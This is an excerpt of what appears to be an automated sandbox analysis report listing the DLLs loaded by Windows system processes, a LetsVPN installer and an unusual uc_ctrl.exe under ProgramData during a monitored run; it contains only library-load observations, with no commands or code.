Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mmcbase.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: ninput.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mmcndmgr.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: uc_guilib.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mmcbase.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: ninput.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mmcndmgr.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: userenv.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: propsys.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: dwmapi.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: oleacc.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: version.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: shfolder.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: wldp.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: profapi.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: riched20.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: usp10.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: msls31.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: textinputframework.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: coreuicomponents.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: coremessaging.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: textshaping.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: linkinfo.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: ntshrui.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: srvcli.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: cscapi.dll
Source: C:\ProgramData\letsvpn-latest.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: devrtl.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: spinf.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: drvstore.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: newdev.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: gpapi.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: cabinet.dll
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpnpmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devrtl.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: devrtl.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: drvstore.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: devrtl.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: drvstore.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\drvinst.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netsetupsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netsetupengine.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: implatsetup.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devrtl.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: spinf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: drvstore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll
